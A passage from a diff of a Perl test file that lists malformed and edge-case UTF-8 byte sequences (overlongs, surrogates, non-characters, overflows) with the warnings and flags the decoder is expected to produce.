$::UTF8_WARN_NONCHAR, $::UTF8_DISALLOW_NONCHAR, $::UTF8_GOT_NONCHAR, + 'nonchar', 0x6FFFF, + (isASCII) ? 4 : 5, + (isASCII) ? 4 : 5, + qr/Unicode non-character.*is not recommended for open interchange/ + ], + [ "non-character code point U+7FFFE", + (isASCII) ? "\xf1\xbf\xbf\xbe" : I8_to_native("\xf8\xaf\xbf\xbf\xbe"), + $::UTF8_WARN_NONCHAR, $::UTF8_DISALLOW_NONCHAR, $::UTF8_GOT_NONCHAR, + 'nonchar', 0x7FFFE, + (isASCII) ? 4 : 5, + (isASCII) ? 4 : 5, + qr/Unicode non-character.*is not recommended for open interchange/ + ], + [ "non-character code point U+7FFFF", + (isASCII) ? "\xf1\xbf\xbf\xbf" : I8_to_native("\xf8\xaf\xbf\xbf\xbf"), + $::UTF8_WARN_NONCHAR, $::UTF8_DISALLOW_NONCHAR, $::UTF8_GOT_NONCHAR, + 'nonchar', 0x7FFFF, + (isASCII) ? 4 : 5, + (isASCII) ? 4 : 5, + qr/Unicode non-character.*is not recommended for open interchange/ + ], + [ "non-character code point U+8FFFE", + (isASCII) ? "\xf2\x8f\xbf\xbe" : I8_to_native("\xf8\xb1\xbf\xbf\xbe"), + $::UTF8_WARN_NONCHAR, $::UTF8_DISALLOW_NONCHAR, $::UTF8_GOT_NONCHAR, + 'nonchar', 0x8FFFE, + (isASCII) ? 4 : 5, + (isASCII) ? 4 : 5, + qr/Unicode non-character.*is not recommended for open interchange/ + ], + [ "non-character code point U+8FFFF", + (isASCII) ? "\xf2\x8f\xbf\xbf" : I8_to_native("\xf8\xb1\xbf\xbf\xbf"), + $::UTF8_WARN_NONCHAR, $::UTF8_DISALLOW_NONCHAR, $::UTF8_GOT_NONCHAR, + 'nonchar', 0x8FFFF, + (isASCII) ? 4 : 5, + (isASCII) ? 4 : 5, + qr/Unicode non-character.*is not recommended for open interchange/ + ], + [ "non-character code point U+9FFFE", + (isASCII) ? "\xf2\x9f\xbf\xbe" : I8_to_native("\xf8\xb3\xbf\xbf\xbe"), + $::UTF8_WARN_NONCHAR, $::UTF8_DISALLOW_NONCHAR, $::UTF8_GOT_NONCHAR, + 'nonchar', 0x9FFFE, + (isASCII) ? 4 : 5, + (isASCII) ? 4 : 5, + qr/Unicode non-character.*is not recommended for open interchange/ + ], + [ "non-character code point U+9FFFF", + (isASCII) ? "\xf2\x9f\xbf\xbf" : I8_to_native("\xf8\xb3\xbf\xbf\xbf"), + $::UTF8_WARN_NONCHAR, $::UTF8_DISALLOW_NONCHAR, $::UTF8_GOT_NONCHAR, + 'nonchar', 0x9FFFF, + (isASCII) ? 4 : 5, + (isASCII) ? 4 : 5, + qr/Unicode non-character.*is not recommended for open interchange/ + ], + [ "non-character code point U+AFFFE", + (isASCII) ? "\xf2\xaf\xbf\xbe" : I8_to_native("\xf8\xb5\xbf\xbf\xbe"), + $::UTF8_WARN_NONCHAR, $::UTF8_DISALLOW_NONCHAR, $::UTF8_GOT_NONCHAR, + 'nonchar', 0xAFFFE, + (isASCII) ? 4 : 5, + (isASCII) ? 4 : 5, + qr/Unicode non-character.*is not recommended for open interchange/ + ], + [ "non-character code point U+AFFFF", + (isASCII) ? "\xf2\xaf\xbf\xbf" : I8_to_native("\xf8\xb5\xbf\xbf\xbf"), + $::UTF8_WARN_NONCHAR, $::UTF8_DISALLOW_NONCHAR, $::UTF8_GOT_NONCHAR, + 'nonchar', 0xAFFFF, + (isASCII) ? 4 : 5, + (isASCII) ? 4 : 5, + qr/Unicode non-character.*is not recommended for open interchange/ + ], + [ "non-character code point U+BFFFE", + (isASCII) ? "\xf2\xbf\xbf\xbe" : I8_to_native("\xf8\xb7\xbf\xbf\xbe"), + $::UTF8_WARN_NONCHAR, $::UTF8_DISALLOW_NONCHAR, $::UTF8_GOT_NONCHAR, + 'nonchar', 0xBFFFE, + (isASCII) ? 4 : 5, + (isASCII) ? 4 : 5, + qr/Unicode non-character.*is not recommended for open interchange/ + ], + [ "non-character code point U+BFFFF", + (isASCII) ? "\xf2\xbf\xbf\xbf" : I8_to_native("\xf8\xb7\xbf\xbf\xbf"), + $::UTF8_WARN_NONCHAR, $::UTF8_DISALLOW_NONCHAR, $::UTF8_GOT_NONCHAR, + 'nonchar', 0xBFFFF, + (isASCII) ? 4 : 5, + (isASCII) ? 4 : 5, + qr/Unicode non-character.*is not recommended for open interchange/ + ], + [ "non-character code point U+CFFFE", + (isASCII) ? "\xf3\x8f\xbf\xbe" : I8_to_native("\xf8\xb9\xbf\xbf\xbe"), + $::UTF8_WARN_NONCHAR, $::UTF8_DISALLOW_NONCHAR, $::UTF8_GOT_NONCHAR, + 'nonchar', 0xCFFFE, + (isASCII) ? 4 : 5, + (isASCII) ? 4 : 5, + qr/Unicode non-character.*is not recommended for open interchange/ + ], + [ "non-character code point U+CFFFF", + (isASCII) ? "\xf3\x8f\xbf\xbf" : I8_to_native("\xf8\xb9\xbf\xbf\xbf"), + $::UTF8_WARN_NONCHAR, $::UTF8_DISALLOW_NONCHAR, $::UTF8_GOT_NONCHAR, + 'nonchar', 0xCFFFF, + (isASCII) ? 4 : 5, + (isASCII) ? 4 : 5, + qr/Unicode non-character.*is not recommended for open interchange/ + ], + [ "non-character code point U+DFFFE", + (isASCII) ? "\xf3\x9f\xbf\xbe" : I8_to_native("\xf8\xbb\xbf\xbf\xbe"), + $::UTF8_WARN_NONCHAR, $::UTF8_DISALLOW_NONCHAR, $::UTF8_GOT_NONCHAR, + 'nonchar', 0xDFFFE, + (isASCII) ? 4 : 5, + (isASCII) ? 4 : 5, + qr/Unicode non-character.*is not recommended for open interchange/ + ], + [ "non-character code point U+DFFFF", + (isASCII) ? "\xf3\x9f\xbf\xbf" : I8_to_native("\xf8\xbb\xbf\xbf\xbf"), + $::UTF8_WARN_NONCHAR, $::UTF8_DISALLOW_NONCHAR, $::UTF8_GOT_NONCHAR, + 'nonchar', 0xDFFFF, + (isASCII) ? 4 : 5, + (isASCII) ? 4 : 5, + qr/Unicode non-character.*is not recommended for open interchange/ + ], + [ "non-character code point U+EFFFE", + (isASCII) ? "\xf3\xaf\xbf\xbe" : I8_to_native("\xf8\xbd\xbf\xbf\xbe"), + $::UTF8_WARN_NONCHAR, $::UTF8_DISALLOW_NONCHAR, $::UTF8_GOT_NONCHAR, + 'nonchar', 0xEFFFE, + (isASCII) ? 4 : 5, + (isASCII) ? 4 : 5, + qr/Unicode non-character.*is not recommended for open interchange/ + ], + [ "non-character code point U+EFFFF", + (isASCII) ? "\xf3\xaf\xbf\xbf" : I8_to_native("\xf8\xbd\xbf\xbf\xbf"), + $::UTF8_WARN_NONCHAR, $::UTF8_DISALLOW_NONCHAR, $::UTF8_GOT_NONCHAR, + 'nonchar', 0xEFFFF, + (isASCII) ? 4 : 5, + (isASCII) ? 4 : 5, + qr/Unicode non-character.*is not recommended for open interchange/ + ], + [ "non-character code point U+FFFFE", + (isASCII) ? "\xf3\xbf\xbf\xbe" : I8_to_native("\xf8\xbf\xbf\xbf\xbe"), + $::UTF8_WARN_NONCHAR, $::UTF8_DISALLOW_NONCHAR, $::UTF8_GOT_NONCHAR, + 'nonchar', 0xFFFFE, + (isASCII) ? 4 : 5, + (isASCII) ? 4 : 5, + qr/Unicode non-character.*is not recommended for open interchange/ + ], + [ "non-character code point U+FFFFF", + (isASCII) ? "\xf3\xbf\xbf\xbf" : I8_to_native("\xf8\xbf\xbf\xbf\xbf"), + $::UTF8_WARN_NONCHAR, $::UTF8_DISALLOW_NONCHAR, $::UTF8_GOT_NONCHAR, + 'nonchar', 0xFFFFF, + (isASCII) ? 4 : 5, + (isASCII) ? 4 : 5, + qr/Unicode non-character.*is not recommended for open interchange/ + ], + [ "non-character code point U+10FFFE", + (isASCII) ? "\xf4\x8f\xbf\xbe" : I8_to_native("\xf9\xa1\xbf\xbf\xbe"), + $::UTF8_WARN_NONCHAR, $::UTF8_DISALLOW_NONCHAR, $::UTF8_GOT_NONCHAR, + 'nonchar', 0x10FFFE, + (isASCII) ? 4 : 5, + (isASCII) ? 4 : 5, + qr/Unicode non-character.*is not recommended for open interchange/ + ], + [ "non-character code point U+10FFFF", + (isASCII) ? "\xf4\x8f\xbf\xbf" : I8_to_native("\xf9\xa1\xbf\xbf\xbf"), + $::UTF8_WARN_NONCHAR, $::UTF8_DISALLOW_NONCHAR, $::UTF8_GOT_NONCHAR, + 'nonchar', 0x10FFFF, + (isASCII) ? 4 : 5, + (isASCII) ? 4 : 5, + qr/Unicode non-character.*is not recommended for open interchange/ + ], + [ "requires at least 32 bits", + (isASCII) + ? "\xfe\x82\x80\x80\x80\x80\x80" + : I8_to_native( + "\xff\xa0\xa0\xa0\xa0\xa0\xa0\xa2\xa0\xa0\xa0\xa0\xa0\xa0"), + # This code point is chosen so that it is representable in a UV on + # 32-bit machines + $::UTF8_WARN_ABOVE_31_BIT, $::UTF8_DISALLOW_ABOVE_31_BIT, + $::UTF8_GOT_ABOVE_31_BIT, + 'utf8', 0x80000000, + (isASCII) ? 7 : $::max_bytes, + (isASCII) ? 1 : 8, + nonportable_regex(0x80000000) + ], + [ "highest 32 bit code point", + (isASCII) + ? "\xfe\x83\xbf\xbf\xbf\xbf\xbf" + : I8_to_native( + "\xff\xa0\xa0\xa0\xa0\xa0\xa0\xa3\xbf\xbf\xbf\xbf\xbf\xbf"), + $::UTF8_WARN_ABOVE_31_BIT, $::UTF8_DISALLOW_ABOVE_31_BIT, + $::UTF8_GOT_ABOVE_31_BIT, + 'utf8', 0xFFFFFFFF, + (isASCII) ? 7 : $::max_bytes, + (isASCII) ? 1 : 8, + nonportable_regex(0xffffffff) + ], + [ "requires at least 32 bits, and use SUPER-type flags, instead of" + . " ABOVE_31_BIT", + (isASCII) + ? "\xfe\x82\x80\x80\x80\x80\x80" + : I8_to_native( + "\xff\xa0\xa0\xa0\xa0\xa0\xa0\xa2\xa0\xa0\xa0\xa0\xa0\xa0"), + $::UTF8_WARN_SUPER, $::UTF8_DISALLOW_SUPER, $::UTF8_GOT_SUPER, + 'utf8', 0x80000000, + (isASCII) ? 7 : $::max_bytes, + 1, + nonportable_regex(0x80000000) + ], + [ "overflow with warnings/disallow for more than 31 bits", + # This tests the interaction of WARN_ABOVE_31_BIT/DISALLOW_ABOVE_31_BIT + # with overflow. The overflow malformation is never allowed, so + # preventing it takes precedence if the ABOVE_31_BIT options would + # otherwise allow in an overflowing value. The ASCII code points (1 + # for 32-bits; 1 for 64) were chosen because the old overflow + # detection algorithm did not catch them; this means this test also + # checks for that fix. The EBCDIC are arbitrary overflowing ones + # since we have no reports of failures with it. + (($::is64bit) + ? ((isASCII) + ? "\xff\x80\x90\x90\x90\xbf\xbf\xbf\xbf\xbf\xbf\xbf\xbf" + : I8_to_native( + "\xff\xB0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0")) + : ((isASCII) + ? "\xfe\x86\x80\x80\x80\x80\x80" + : I8_to_native( + "\xff\xa0\xa0\xa0\xa0\xa0\xa0\xa4\xa0\xa0\xa0\xa0\xa0\xa0"))), + $::UTF8_WARN_ABOVE_31_BIT, + $::UTF8_DISALLOW_ABOVE_31_BIT, + $::UTF8_GOT_ABOVE_31_BIT, + 'utf8', 0, + (! isASCII || $::is64bit) ? $::max_bytes : 7, + (isASCII || $::is64bit) ? 2 : 8, + qr/overflows/ + ], +); + +if (! $::is64bit) { if (isASCII) { - return ($byte >= 0xFE) - ? ((! $::is64bit) - ? 1 - : ($byte == 0xFF) ? 7 : 2) - : (($length == 2) ? 1 : 2); - # Below is needed for code points above IV_MAX - #return ($length == $::max_bytes) - # # This is constrained to 1 on 32-bit machines, as it - # # overflows there - # ? (($::is64bit) ? 7 : 1) - # : (($length == 2) ? 1 : 2); + no warnings qw{portable overflow}; + push @tests, + [ "Lowest 33 bit code point: overflow", + "\xFE\x84\x80\x80\x80\x80\x80", + $::UTF8_WARN_ABOVE_31_BIT, $::UTF8_DISALLOW_ABOVE_31_BIT, + $::UTF8_GOT_ABOVE_31_BIT, + 'utf8', 0x100000000, + 7, 1, + qr/and( is)? not portable/ + ]; } - - return ($length == $::max_bytes) ? 8 : (($length <= 3) ? 1 : 2); } - -my @tests; -{ - no warnings qw(portable overflow); - @tests = ( - # $testname, - # $bytes, UTF-8 string - # $allowed_uv, code point $bytes evaluates to; -1 if - # overflows - # $needed_to_discern_len optional, how long an initial substring do - # we need to tell that the string must be for - # a code point in the category it falls in, - # like being a surrogate; 0 indicates we need - # the whole string. Some categories have a - # default that is used if this is omitted. - [ "orphan continuation byte malformation", - I8_to_native("$::I8c"), - 0xFFFD, - 1, - ], - [ "overlong malformation, lowest 2-byte", - (isASCII) ? "\xc0\x80" : I8_to_native("\xc0\xa0"), - 0, # NUL - ], - [ "overlong malformation, highest 2-byte", - (isASCII) ? "\xc1\xbf" : I8_to_native("\xc4\xbf"), - (isASCII) ? 0x7F : 0xFF, - ], - [ "overlong malformation, lowest 3-byte", - (isASCII) ? "\xe0\x80\x80" : I8_to_native("\xe0\xa0\xa0"), - 0, # NUL - ], - [ "overlong malformation, highest 3-byte", - (isASCII) ? "\xe0\x9f\xbf" : I8_to_native("\xe0\xbf\xbf"), - (isASCII) ? 0x7FF : 0x3FF, - ], - [ "lowest surrogate", - (isASCII) ? "\xed\xa0\x80" : I8_to_native("\xf1\xb6\xa0\xa0"), - 0xD800, - ], - [ "a middle surrogate", - (isASCII) ? "\xed\xa4\x8d" : I8_to_native("\xf1\xb6\xa8\xad"), - 0xD90D, - ], - [ "highest surrogate", - (isASCII) ? "\xed\xbf\xbf" : I8_to_native("\xf1\xb7\xbf\xbf"), - 0xDFFF, - ], - [ "first of 32 consecutive non-character code points", - (isASCII) ? "\xef\xb7\x90" : I8_to_native("\xf1\xbf\xae\xb0"), - 0xFDD0, - ], - [ "a mid non-character code point of the 32 consecutive ones", - (isASCII) ? "\xef\xb7\xa0" : I8_to_native("\xf1\xbf\xaf\xa0"), - 0xFDE0, - ], - [ "final of 32 consecutive non-character code points", - (isASCII) ? "\xef\xb7\xaf" : I8_to_native("\xf1\xbf\xaf\xaf"), - 0xFDEF, - ], - [ "non-character code point U+FFFE", - (isASCII) ? "\xef\xbf\xbe" : I8_to_native("\xf1\xbf\xbf\xbe"), - 0xFFFE, - ], - [ "non-character code point U+FFFF", - (isASCII) ? "\xef\xbf\xbf" : I8_to_native("\xf1\xbf\xbf\xbf"), - 0xFFFF, - ], - [ "overlong malformation, lowest 4-byte", - (isASCII) ? "\xf0\x80\x80\x80" : I8_to_native("\xf0\xa0\xa0\xa0"), - 0, # NUL - ], - [ "overlong malformation, highest 4-byte", - (isASCII) ? "\xf0\x8F\xbf\xbf" : I8_to_native("\xf0\xaf\xbf\xbf"), - (isASCII) ? 0xFFFF : 0x3FFF, - ], - [ "non-character code point U+1FFFE", - (isASCII) ? "\xf0\x9f\xbf\xbe" : I8_to_native("\xf3\xbf\xbf\xbe"), - 0x1FFFE, - ], - [ "non-character code point U+1FFFF", - (isASCII) ? "\xf0\x9f\xbf\xbf" : I8_to_native("\xf3\xbf\xbf\xbf"), - 0x1FFFF, - ], - [ "non-character code point U+2FFFE", - (isASCII) ? "\xf0\xaf\xbf\xbe" : I8_to_native("\xf5\xbf\xbf\xbe"), - 0x2FFFE, - ], - [ "non-character code point U+2FFFF", - (isASCII) ? "\xf0\xaf\xbf\xbf" : I8_to_native("\xf5\xbf\xbf\xbf"), - 0x2FFFF, - ], - [ "non-character code point U+3FFFE", - (isASCII) ? "\xf0\xbf\xbf\xbe" : I8_to_native("\xf7\xbf\xbf\xbe"), - 0x3FFFE, - ], - [ "non-character code point U+3FFFF", - (isASCII) ? "\xf0\xbf\xbf\xbf" : I8_to_native("\xf7\xbf\xbf\xbf"), - 0x3FFFF, - ], - [ "non-character code point U+4FFFE", - (isASCII) - ? "\xf1\x8f\xbf\xbe" - : I8_to_native("\xf8\xa9\xbf\xbf\xbe"), - 0x4FFFE, - ], - [ "non-character code point U+4FFFF", - (isASCII) - ? "\xf1\x8f\xbf\xbf" - : I8_to_native("\xf8\xa9\xbf\xbf\xbf"), - 0x4FFFF, - ], - [ "non-character code point U+5FFFE", - (isASCII) - ? "\xf1\x9f\xbf\xbe" - : I8_to_native("\xf8\xab\xbf\xbf\xbe"), - 0x5FFFE, - ], - [ "non-character code point U+5FFFF", - (isASCII) - ? "\xf1\x9f\xbf\xbf" - : I8_to_native("\xf8\xab\xbf\xbf\xbf"), - 0x5FFFF, - ], - [ "non-character code point U+6FFFE", - (isASCII) - ? "\xf1\xaf\xbf\xbe" - : I8_to_native("\xf8\xad\xbf\xbf\xbe"), - 0x6FFFE, - ], - [ "non-character code point U+6FFFF", - (isASCII) - ? "\xf1\xaf\xbf\xbf" - : I8_to_native("\xf8\xad\xbf\xbf\xbf"), - 0x6FFFF, - ], - [ "non-character code point U+7FFFE", - (isASCII) - ? "\xf1\xbf\xbf\xbe" - : I8_to_native("\xf8\xaf\xbf\xbf\xbe"), - 0x7FFFE, - ], - [ "non-character code point U+7FFFF", - (isASCII) - ? "\xf1\xbf\xbf\xbf" - : I8_to_native("\xf8\xaf\xbf\xbf\xbf"), - 0x7FFFF, - ], - [ "non-character code point U+8FFFE", - (isASCII) - ? "\xf2\x8f\xbf\xbe" - : I8_to_native("\xf8\xb1\xbf\xbf\xbe"), - 0x8FFFE, - ], - [ "non-character code point U+8FFFF", - (isASCII) - ? "\xf2\x8f\xbf\xbf" - : I8_to_native("\xf8\xb1\xbf\xbf\xbf"), - 0x8FFFF, - ], - [ "non-character code point U+9FFFE", - (isASCII) - ? "\xf2\x9f\xbf\xbe" - : I8_to_native("\xf8\xb3\xbf\xbf\xbe"), - 0x9FFFE, - ], - [ "non-character code point U+9FFFF", - (isASCII) - ? "\xf2\x9f\xbf\xbf" - : I8_to_native("\xf8\xb3\xbf\xbf\xbf"), - 0x9FFFF, - ], - [ "non-character code point U+AFFFE", - (isASCII) - ? "\xf2\xaf\xbf\xbe" - : I8_to_native("\xf8\xb5\xbf\xbf\xbe"), - 0xAFFFE, - ], - [ "non-character code point U+AFFFF", - (isASCII) - ? "\xf2\xaf\xbf\xbf" - : I8_to_native("\xf8\xb5\xbf\xbf\xbf"), - 0xAFFFF, - ], - [ "non-character code point U+BFFFE", - (isASCII) - ? "\xf2\xbf\xbf\xbe" - : I8_to_native("\xf8\xb7\xbf\xbf\xbe"), - 0xBFFFE, - ], - [ "non-character code point U+BFFFF", - (isASCII) - ? "\xf2\xbf\xbf\xbf" - : I8_to_native("\xf8\xb7\xbf\xbf\xbf"), - 0xBFFFF, - ], - [ "non-character code point U+CFFFE", - (isASCII) - ? "\xf3\x8f\xbf\xbe" - : I8_to_native("\xf8\xb9\xbf\xbf\xbe"), - 0xCFFFE, - ], - [ "non-character code point U+CFFFF", - (isASCII) - ? "\xf3\x8f\xbf\xbf" - : I8_to_native("\xf8\xb9\xbf\xbf\xbf"), - 0xCFFFF, - ], - [ "non-character code point U+DFFFE", - (isASCII) - ? "\xf3\x9f\xbf\xbe" - : I8_to_native("\xf8\xbb\xbf\xbf\xbe"), - 0xDFFFE, - ], - [ "non-character code point U+DFFFF", - (isASCII) - ? "\xf3\x9f\xbf\xbf" - : I8_to_native("\xf8\xbb\xbf\xbf\xbf"), - 0xDFFFF, - ], - [ "non-character code point U+EFFFE", - (isASCII) - ? "\xf3\xaf\xbf\xbe" - : I8_to_native("\xf8\xbd\xbf\xbf\xbe"), - 0xEFFFE, - ], - [ "non-character code point U+EFFFF", - (isASCII) - ? "\xf3\xaf\xbf\xbf" - : I8_to_native("\xf8\xbd\xbf\xbf\xbf"), - 0xEFFFF, - ], - [ "non-character code point U+FFFFE", - (isASCII) - ? "\xf3\xbf\xbf\xbe" - : I8_to_native("\xf8\xbf\xbf\xbf\xbe"), - 0xFFFFE, - ], - [ "non-character code point U+FFFFF", - (isASCII) - ? "\xf3\xbf\xbf\xbf" - : I8_to_native("\xf8\xbf\xbf\xbf\xbf"), - 0xFFFFF, - ], - [ "non-character code point U+10FFFE", - (isASCII) - ? "\xf4\x8f\xbf\xbe" - : I8_to_native("\xf9\xa1\xbf\xbf\xbe"), - 0x10FFFE, - ], - [ "non-character code point U+10FFFF", - (isASCII) - ? "\xf4\x8f\xbf\xbf" - : I8_to_native("\xf9\xa1\xbf\xbf\xbf"), - 0x10FFFF, - ], - [ "first non_unicode", - (isASCII) - ? "\xf4\x90\x80\x80" - : I8_to_native("\xf9\xa2\xa0\xa0\xa0"), - 0x110000, - 2, - ], - [ "non_unicode whose first byte tells that", - (isASCII) - ? "\xf5\x80\x80\x80" - : I8_to_native("\xfa\xa0\xa0\xa0\xa0"), - (isASCII) ? 0x140000 : 0x200000, - 1, - ], - [ "overlong malformation, lowest 5-byte", - (isASCII) - ? "\xf8\x80\x80\x80\x80" - : I8_to_native("\xf8\xa0\xa0\xa0\xa0"), - 0, # NUL - ], - [ "overlong malformation, highest 5-byte", - (isASCII) - ? "\xf8\x87\xbf\xbf\xbf" - : I8_to_native("\xf8\xa7\xbf\xbf\xbf"), - (isASCII) ? 0x1FFFFF : 0x3FFFF, - ], - [ "overlong malformation, lowest 6-byte", - (isASCII) - ? "\xfc\x80\x80\x80\x80\x80" - : I8_to_native("\xfc\xa0\xa0\xa0\xa0\xa0"), - 0, # NUL - ], - [ "overlong malformation, highest 6-byte", - (isASCII) - ? "\xfc\x83\xbf\xbf\xbf\xbf" - : I8_to_native("\xfc\xa3\xbf\xbf\xbf\xbf"), - (isASCII) ? 0x3FFFFFF : 0x3FFFFF, - ], - [ "overlong malformation, lowest 7-byte", - (isASCII) - ? "\xfe\x80\x80\x80\x80\x80\x80" - : I8_to_native("\xfe\xa0\xa0\xa0\xa0\xa0\xa0"), - 0, # NUL - ], - [ "overlong malformation, highest 7-byte", - (isASCII) - ? "\xfe\x81\xbf\xbf\xbf\xbf\xbf" - : I8_to_native("\xfe\xa1\xbf\xbf\xbf\xbf\xbf"), - (isASCII) ? 0x7FFFFFFF : 0x3FFFFFF, - ], - [ "highest 31 bit code point", - (isASCII) - ? "\xfd\xbf\xbf\xbf\xbf\xbf" - : I8_to_native( - "\xff\xa0\xa0\xa0\xa0\xa0\xa0\xa1\xbf\xbf\xbf\xbf\xbf\xbf"), - 0x7FFFFFFF, - 1, - ], - [ "lowest 32 bit code point", - (isASCII) - ? "\xfe\x82\x80\x80\x80\x80\x80" - : I8_to_native( - "\xff\xa0\xa0\xa0\xa0\xa0\xa0\xa2\xa0\xa0\xa0\xa0\xa0\xa0"), - ($::is64bit) ? 0x80000000 : -1, # Overflows on 32-bit systems - 1, - ], - # Used when UV_MAX is allowed as a code point - #[ "highest 32 bit code point", - # (isASCII) - # ? "\xfe\x83\xbf\xbf\xbf\xbf\xbf" - # : I8_to_native( - # "\xff\xa0\xa0\xa0\xa0\xa0\xa0\xa3\xbf\xbf\xbf\xbf\xbf\xbf"), - # 0xFFFFFFFF, - #], - #[ "Lowest 33 bit code point", - # (isASCII) - # ? "\xfe\x84\x80\x80\x80\x80\x80" - # : I8_to_native( - # "\xff\xa0\xa0\xa0\xa0\xa0\xa0\xa4\xa0\xa0\xa0\xa0\xa0\xa0"), - # ($::is64bit) ? 0x100000000 : 0x0, # Overflows on 32-bit systems - #], - ); - - if (! $::is64bit) { - if (isASCII) { - push @tests, - [ "overlong malformation, but naively looks like overflow", - "\xff\x80\x80\x80\x80\x80\x80\x81\xbf\xbf\xbf\xbf\xbf", - 0x7FFFFFFF, - ], - # Used when above IV_MAX are allowed. - #[ "overlong malformation, but naively looks like overflow", - # "\xff\x80\x80\x80\x80\x80\x80\x83\xbf\xbf\xbf\xbf\xbf", - # 0xFFFFFFFF, - #], - [ "overflow that old algorithm failed to detect", - "\xfe\x86\x80\x80\x80\x80\x80", - -1, - ]; - } - } - +else { + no warnings qw{portable overflow}; push @tests, - [ "overlong malformation, lowest max-byte", + [ "More than 32 bits", (isASCII) - ? "\xff\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80" - : I8_to_native( - "\xff\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0"), - 0, # NUL - ], - [ "overlong malformation, highest max-byte", - (isASCII) # 2**36-1 on ASCII; 2**30-1 on EBCDIC - ? "\xff\x80\x80\x80\x80\x80\x80\xbf\xbf\xbf\xbf\xbf\xbf" - : I8_to_native( - "\xff\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xbf\xbf\xbf\xbf\xbf\xbf"), - (isASCII) ? (($::is64bit) ? 0xFFFFFFFFF : -1) : 0x3FFFFFFF, + ? "\xff\x80\x80\x80\x80\x80\x81\x80\x80\x80\x80\x80\x80" + : I8_to_native( + "\xff\xa0\xa0\xa0\xa0\xa0\xa2\xa0\xa0\xa0\xa0\xa0\xa0\xa0"), + $::UTF8_WARN_ABOVE_31_BIT, $::UTF8_DISALLOW_ABOVE_31_BIT, + $::UTF8_GOT_ABOVE_31_BIT, + 'utf8', 0x1000000000, + $::max_bytes, (isASCII) ? 1 : 7, + qr/and( is)? not portable/ ]; - - if (isASCII) { - push @tests, - [ "Lowest code point requiring 13 bytes to represent", # 2**36 - "\xff\x80\x80\x80\x80\x80\x81\x80\x80\x80\x80\x80\x80", - ($::is64bit) ? 0x1000000000 : -1, # overflows on 32bit - ], - }; - - if ($::is64bit) { - push @tests, - [ "highest 63 bit code point", - (isASCII) - ? "\xff\x80\x87\xbf\xbf\xbf\xbf\xbf\xbf\xbf\xbf\xbf\xbf" - : I8_to_native( - "\xff\xa7\xbf\xbf\xbf\xbf\xbf\xbf\xbf\xbf\xbf\xbf\xbf\xbf"), - 0x7FFFFFFFFFFFFFFF, - (isASCII) ? 1 : 2, - ], - [ "first 64 bit code point", - (isASCII) - ? "\xff\x80\x88\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80" - : I8_to_native( - "\xff\xa8\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0"), - -1, - ]; - # Used when UV_MAX is allowed as a code point - #[ "highest 64 bit code point", - # (isASCII) - # ? "\xff\x80\x8f\xbf\xbf\xbf\xbf\xbf\xbf\xbf\xbf\xbf\xbf" - # : I8_to_native( - # "\xff\xaf\xbf\xbf\xbf\xbf\xbf\xbf\xbf\xbf\xbf\xbf\xbf\xbf"), - # 0xFFFFFFFFFFFFFFFF, - # (isASCII) ? 1 : 2, - #], - #[ "first 65 bit code point", - # (isASCII) - # ? "\xff\x80\x9f\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80" - # : I8_to_native( - # "\xff\xb0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0"), - # 0, - #]; - if (isASCII) { - push @tests, - [ "overflow that old algorithm failed to detect", - "\xff\x80\x90\x90\x90\xbf\xbf\xbf\xbf\xbf\xbf\xbf\xbf", - -1, - ]; - } - else { - push @tests, # These could falsely show wrongly in a naive - # implementation - [ "requires at least 32 bits", - I8_to_native( + if (! isASCII) { + push @tests, # These could falsely show wrongly in a naive + # implementation + [ "requires at least 32 bits", + I8_to_native( "\xff\xa0\xa0\xa0\xa0\xa0\xa1\xa0\xa0\xa0\xa0\xa0\xa0\xa0"), - 0x800000000, - 40000000 - ], - [ "requires at least 32 bits", - I8_to_native( + $::UTF8_WARN_ABOVE_31_BIT,$::UTF8_DISALLOW_ABOVE_31_BIT, + $::UTF8_GOT_ABOVE_31_BIT, + 'utf8', 0x800000000, + $::max_bytes, 7, + nonportable_regex(0x80000000) + ], + [ "requires at least 32 bits", + I8_to_native( "\xff\xa0\xa0\xa0\xa0\xa1\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0"), - 0x10000000000, - ], - [ "requires at least 32 bits", - I8_to_native( + $::UTF8_WARN_ABOVE_31_BIT,$::UTF8_DISALLOW_ABOVE_31_BIT, + $::UTF8_GOT_ABOVE_31_BIT, + 'utf8', 0x10000000000, + $::max_bytes, 6, + nonportable_regex(0x10000000000) + ], + [ "requires at least 32 bits", + I8_to_native( "\xff\xa0\xa0\xa0\xa1\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0"), - 0x200000000000, - ], - [ "requires at least 32 bits", - I8_to_native( + $::UTF8_WARN_ABOVE_31_BIT,$::UTF8_DISALLOW_ABOVE_31_BIT, + $::UTF8_GOT_ABOVE_31_BIT, + 'utf8', 0x200000000000, + $::max_bytes, 5, + nonportable_regex(0x20000000000) + ], + [ "requires at least 32 bits", + I8_to_native( "\xff\xa0\xa0\xa1\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0"), - 0x4000000000000, - ], - [ "requires at least 32 bits", - I8_to_native( + $::UTF8_WARN_ABOVE_31_BIT,$::UTF8_DISALLOW_ABOVE_31_BIT, + $::UTF8_GOT_ABOVE_31_BIT, + 'utf8', 0x4000000000000, + $::max_bytes, 4, + nonportable_regex(0x4000000000000) + ], + [ "requires at least 32 bits", + I8_to_native( "\xff\xa0\xa1\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0"), - 0x80000000000000, - ], - [ "requires at least 32 bits", - I8_to_native( + $::UTF8_WARN_ABOVE_31_BIT,$::UTF8_DISALLOW_ABOVE_31_BIT, + $::UTF8_GOT_ABOVE_31_BIT, + 'utf8', 0x80000000000000, + $::max_bytes, 3, + nonportable_regex(0x80000000000000) + ], + [ "requires at least 32 bits", + I8_to_native( "\xff\xa1\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0"), - 0x1000000000000000, - ]; - } - } -} - -sub flags_to_text($$) -{ - my ($flags, $flags_to_text_ref) = @_; - - # 